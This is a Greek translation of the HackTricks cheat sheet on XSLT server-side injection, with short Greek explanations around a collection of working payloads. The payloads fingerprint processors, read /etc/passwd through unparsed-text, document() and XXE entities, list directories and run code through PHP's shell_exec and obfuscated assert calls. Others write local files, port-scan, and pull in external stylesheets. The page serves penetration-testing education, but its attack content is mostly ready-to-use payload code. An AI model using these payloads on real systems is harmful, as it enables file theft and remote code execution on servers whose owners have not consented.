XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Βασικές Πληροφορίες

Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τον μετασχηματισμό εγγράφων XML σε διάφορες μορφές. Έρχεται σε τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συνηθισμένη. Ο διαδικασία μετασχηματισμού μπορεί να εκτελεστεί είτε στον διακομιστή είτε μέσα στον περιηγητή.

Τα πλαίσια που χρησιμοποιούνται συχνότερα περιλαμβάνουν:

  • Libxslt από το Gnome,

  • Xalan από το Apache,

  • Saxon από την Saxonica.

Για την εκμετάλλευση των ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο να αποθηκεύονται ετικέτες xsl στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας καταγράφεται στην παρακάτω πηγή: https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/.

Παράδειγμα - Οδηγός

sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
xml.xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
xsl.xsl
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

Εκτέλεση:

saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>

Αναγνώριση

detection.xsl
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

Και εκτέλεσε

$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>

Διάβασμα Τοπικού Αρχείου

read.xsl
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

SSRF

Η SSRF (Server-Side Request Forgery) είναι μια ευπάθεια ασφάλειας που επιτρέπει σε έναν επιτιθέμενο να προκαλέσει τον διακομιστή να κάνει αιτήσεις προς άλλους εσωτερικούς ή εξωτερικούς πόρους. Αυτό μπορεί να οδηγήσει σε εκθέσεις ευαίσθητων δεδομένων, εκτέλεση κακόβουλου κώδικα ή ακόμη και στην εκμετάλλευση άλλων ευπαθειών στο σύστημα.

Οι SSRF ευπάθειες συνήθως εκμεταλλεύονται την ανεπαρκή επαλήθευση των εισόδων χρήστη που χρησιμοποιούνται για τη δημιουργία των αιτήσεων. Ο επιτιθέμενος μπορεί να χρησιμοποιήσει διάφορες τεχνικές, όπως την εκμετάλλευση ευπαθειών στον κώδικα της εφαρμογής ή την ανακάτευση των αιτήσεων μέσω εξωτερικών πόρων, όπως τον DNS resolver ή τον HTTP client.

Για να προστατευθείτε από τις SSRF ευπαθείες, πρέπει να εφαρμόσετε αυστηρές ελέγχους επαλήθευσης των εισόδων χρήστη, να περιορίσετε τις εξωτερικές αιτήσεις που μπορεί να κάνει ο διακομιστής και να παρακολουθείτε την κίνηση του δικτύου για ανιχνεύσεις ανεπιθύμητων δραστηριοτήτων.

Είναι σημαντικό να αντιμετωπίσετε τις SSRF ευπαθείες με σοβαρότητα, καθώς μπορούν να έχουν σοβαρές συνέπειες για την ασφάλεια του συστήματός σας.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>

Εκδόσεις

Μπορεί να υπάρχουν περισσότερες ή λιγότερες λειτουργίες ανάλογα με την έκδοση του XSLT που χρησιμοποιείται:

Αποτύπωση

Μεταφορτώστε αυτό και πάρτε πληροφορίες

<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>

SSRF

Η SSRF (Server-Side Request Forgery) είναι μια ευπάθεια ασφάλειας που επιτρέπει σε έναν επιτιθέμενο να προκαλέσει τον διακομιστή να κάνει αιτήσεις προς άλλους εσωτερικούς ή εξωτερικούς πόρους. Αυτό μπορεί να οδηγήσει σε εκθέσεις ευαίσθητων δεδομένων, εκτέλεση κακόβουλου κώδικα ή ακόμη και στην εκμετάλλευση άλλων ευπαθειών.

Οι SSRF ευπάθειες μπορούν να εκμεταλλευτούνται μέσω διάφορων τεχνικών, όπως η χρήση ανεπαρκών ελέγχων εισόδου, η ανάγνωση αρχείων από απομακρυσμένους διακομιστές ή η εκτέλεση εντολών στον εσωτερικό διακομιστή.

Για να προστατευθείτε από SSRF ευπάθειες, μπορείτε να υιοθετήσετε τις εξής πρακτικές ασφαλείας:

  • Επιβεβαιώστε την εγκυρότητα των εισερχόμενων URL πριν τις χρησιμοποιήσετε σε αιτήσεις.

  • Περιορίστε τους πόρους που ο διακομιστής μπορεί να αποκτήσει πρόσβαση.

  • Χρησιμοποιήστε λευκές λίστες για να περιορίσετε τους επιτρεπόμενους προορισμούς αιτημάτων.

  • Ενημερώστε το λογισμικό σας για να αποκτήσετε τις τελευταίες ενημερώσεις ασφαλείας.

Είναι σημαντικό να είστε ευαισθητοποιημένοι σχετικά με την SSRF και να λάβετε τα απαραίτητα μέτρα για να προστατεύσετε τον διακομιστή σας από αυτήν την ευπάθεια.

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>

Εισαγωγή κώδικα Javascript

Η εισαγωγή κώδικα Javascript είναι μια τεχνική που χρησιμοποιείται στον χώρο του χάκινγκ για να εκτελέσει κακόβουλος κώδικας Javascript σε μια ιστοσελίδα. Αυτό μπορεί να γίνει μέσω ευπάθειών στην εφαρμογή ή μέσω εισαγωγής κώδικα σε είσοδο που αντιμετωπίζεται από τον φυλλομετρητή ως κώδικας Javascript.

Ο κακόβουλος κώδικας Javascript μπορεί να χρησιμοποιηθεί για να προκαλέσει διάφορες επιθέσεις, όπως η παρακολούθηση των χρηστών, η κλοπή προσωπικών πληροφοριών ή ακόμη και η παραπλάνηση των χρηστών για να αποκτήσουν πρόσβαση σε ευαίσθητα δεδομένα.

Για να προστατευθείτε από την εισαγωγή κώδικα Javascript, είναι σημαντικό να εφαρμόζετε κατάλληλες πρακτικές ασφαλείας, όπως η επικύρωση της εισόδου, η αποφυγή της εκτέλεσης μη αξιόπιστου κώδικα και η χρήση των κατάλληλων μηχανισμών ασφαλείας στον φυλλομετρητή.

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>

Κατάλογος καταχώρησης (PHP)

Opendir + readdir

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>

Επιβεβαίωση (var_dump + scandir + false)

Η τεχνική της επιβεβαίωσης (assert) χρησιμοποιείται για να εκτελέσει κώδικα PHP σε ένα σύστημα που είναι ευάλωτο σε επιθέσεις εκτέλεσης κώδικα από απομακρυσμένους χρήστες. Η τεχνική αυτή εκμεταλλεύεται την αδυναμία επαρκούς ελέγχου των εισόδων και την ανεπάρκεια των μηχανισμών ασφαλείας.

Η επιβεβαίωση (assert) συνδυάζει τις συναρτήσεις var_dump και scandir για να εκτελέσει κακόβουλο κώδικα. Η συνάρτηση var_dump χρησιμοποιείται για να εμφανίσει τις τιμές και τους τύπους μεταβλητών, ενώ η συνάρτηση scandir χρησιμοποιείται για να επιστρέψει το περιεχόμενο ενός φακέλου.

Με τη χρήση της τεχνικής αυτής, ο επιτιθέμενος μπορεί να εκτελέσει κακόβουλο κώδικα και να αποκτήσει ανεξέλεγκτη πρόσβαση στο σύστημα. Είναι σημαντικό να ληφθούν μέτρα ασφαλείας για να αποτραπεί η εκμετάλλευση αυτής της ευπάθειας.

<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>

Διάβασμα αρχείων

Εσωτερικό - PHP

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>

Εσωτερικό - XXE

XXE (Εξωτερική Επέκταση Αντικειμένου) είναι μια ευπάθεια που επιτρέπει σε επιτιθέμενους να εκμεταλλευτούν την επεξεργασία XML σε εφαρμογές ιστού. Αυτή η ευπάθεια συμβαίνει όταν η εφαρμογή δέχεται εισόδους XML από τον χρήστη και επιτρέπει την επεξεργασία τους χωρίς να ελέγχει την ασφάλεια. Ο επιτιθέμενος μπορεί να εκμεταλλευτεί αυτήν την ευπάθεια για να διαβάσει αρχεία στον διακομιστή, να εκτελέσει κακόβουλο κώδικα ή να προκαλέσει άλλες επιθέσεις.

Για να εκμεταλλευτεί έναν XXE ευπάθεια, ο επιτιθέμενος μπορεί να χρησιμοποιήσει μια εξωτερική οντότητα για να αναφέρει ένα εξωτερικό αρχείο που θέλει να διαβάσει. Επίσης, μπορεί να χρησιμοποιήσει μια ενσωματωμένη οντότητα για να εκτελέσει κακόβουλο κώδικα.

Για να προστατευθείτε από επιθέσεις XXE, πρέπει να ελέγξετε την είσοδο XML που δέχεστε και να απενεργοποιήσετε την επεξεργασία εξωτερικών οντοτήτων. Επίσης, πρέπει να χρησιμοποιήσετε την τελευταία έκδοση των βιβλιοθηκών XML και να εφαρμόσετε τις συστάσεις ασφαλείας που παρέχονται από τον κατασκευαστή της εφαρμογής.

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>

Μέσω HTTP

Μια από τις πιο συνηθισμένες μεθόδους για την εκτέλεση επιθέσεων XSLT Server-Side Injection είναι μέσω του πρωτοκόλλου HTTP. Αυτή η μέθοδος εκμεταλλεύεται την ικανότητα του διακομιστή να εκτελεί επεξεργασία XSLT σε εξωτερικά αρχεία.

Για να εκτελέσετε μια επίθεση XSLT Server-Side Injection μέσω HTTP, ακολουθήστε τα παρακάτω βήματα:

  1. Εντοπίστε μια ευπάθεια στην εφαρμογή που επιτρέπει την εισαγωγή εξωτερικών αρχείων XSLT.

  2. Δημιουργήστε ένα εξωτερικό αρχείο XSLT που περιέχει τον κακόβουλο κώδικα που θέλετε να εκτελέσετε.

  3. Ανεβάστε το εξωτερικό αρχείο XSLT σε έναν εξωτερικό διακομιστή ή χρησιμοποιήστε έναν υπάρχοντα διακομιστή.

  4. Στείλτε μια αίτηση HTTP στον διακομιστή που περιέχει την ευπάθεια, περνώντας το URL του εξωτερικού αρχείου XSLT ως παράμετρο.

  5. Ο διακομιστής θα εκτελέσει τον κακόβουλο κώδικα που περιέχεται στο εξωτερικό αρχείο XSLT και θα επιστρέψει τα αποτελέσματα στον επιτιθέμενο.

Με αυτόν τον τρόπο, ο επιτιθέμενος μπορεί να αποκτήσει πρόσβαση σε ευαίσθητες πληροφορίες, να εκτελέσει κακόβουλες ενέργειες ή να προκαλέσει διάφορα προβλήματα στον διακομιστή.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>

Εσωτερική (συνάρτηση PHP)

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>

Σάρωση θυρών

Η σάρωση θυρών είναι μια τεχνική που χρησιμοποιείται για να εντοπιστούν ανοιχτές θύρες σε έναν υπολογιστή ή ένα δίκτυο. Με την σάρωση θυρών, ο χάκερ μπορεί να εντοπίσει πιθανά ευπάθειες ή αδυναμίες στην ασφάλεια του συστήματος και να εκμεταλλευτεί αυτές τις ευκαιρίες για να προβεί σε επιθέσεις. Η σάρωση θυρών μπορεί να γίνει με τη χρήση ειδικών εργαλείων όπως το Nmap, το οποίο ανιχνεύει τις ανοιχτές θύρες και τις υπηρεσίες που εκτελούνται σε αυτές. Με αυτόν τον τρόπο, ο χάκερ μπορεί να αποκτήσει πληροφορίες για το σύστημα και να προχωρήσει σε επόμενα βήματα για να εισβάλει στο σύστημα ή το δίκτυο.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>

Εγγραφή σε ένα αρχείο

XSLT 2.0

Για να εκτελέσετε μια εντολή εγγραφής σε ένα αρχείο χρησιμοποιώντας το XSLT 2.0, μπορείτε να χρησιμοποιήσετε την εντολή xsl:result-document. Αυτή η εντολή σας επιτρέπει να δημιουργήσετε ένα νέο αρχείο και να γράψετε περιεχόμενο σε αυτό.

Για παράδειγμα, η παρακάτω εντολή XSLT δημιουργεί ένα νέο αρχείο με όνομα "output.txt" και γράφει το κείμενο "Hello, world!" μέσα σε αυτό:

<xsl:result-document href="output.txt">
  <xsl:text>Hello, world!</xsl:text>
</xsl:result-document>

Μπορείτε να προσαρμόσετε το όνομα του αρχείου και το περιεχόμενο που θέλετε να γράψετε ανάλογα με τις ανάγκες σας.

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>

Επέκταση Xalan-J

Η επέκταση Xalan-J είναι μια ευπάθεια που αφορά την εκτέλεση κακόβουλου κώδικα μέσω ενός επιθέτου XSLT (Extensible Stylesheet Language Transformations) σε έναν διακομιστή Xalan-J. Ο κακόβουλος κώδικας εκτελείται στην πλευρά του διακομιστή, επιτρέποντας στον επιτιθέμενο να αποκτήσει ανεξέλεγκτη πρόσβαση και να εκτελέσει επιθέσεις όπως τη διαρροή δεδομένων.

Για να εκμεταλλευτείτε αυτήν την ευπάθεια, μπορείτε να δημιουργήσετε έναν επιθέτο XSLT που περιέχει κακόβουλο κώδικα και να τον αποστείλετε στον διακομιστή Xalan-J. Ο κακόβουλος κώδικας θα εκτελεστεί αυτόματα από τον διακομιστή, παρέχοντας στον επιτιθέμενο πρόσβαση σε ευαίσθητες πληροφορίες ή δυνατότητα εκτέλεσης επιθέσεων.

Για να προστατευθείτε από αυτήν την ευπάθεια, πρέπει να ενημερώσετε τον διακομιστή Xalan-J σας στην τελευταία έκδοση και να εφαρμόσετε τις συστάσεις ασφαλείας που παρέχονται από τον προμηθευτή.

<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>

Άλλοι τρόποι για να γράψετε αρχεία στο PDF

Συμπερίληψη εξωτερικού XSL

<xsl:include href="http://extenal.web/external.xsl"/>
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>

Εκτέλεση κώδικα

php:function

<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>

Εκτέλεση κώδικα χρησιμοποιώντας άλλα πλαίσια στο PDF

Περισσότερες Γλώσσες

Σε αυτήν τη σελίδα μπορείτε να βρείτε παραδείγματα RCE σε άλλες γλώσσες: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

Πρόσβαση σε στατικές συναρτήσεις PHP από κλάσεις

Η παρακάτω συνάρτηση θα καλέσει τη στατική μέθοδο stringToUrl της κλάσης XSL:

<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>

(Παράδειγμα από http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls)

Περισσότερα Payloads

Λίστα Ανίχνευσης Brute-Force

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated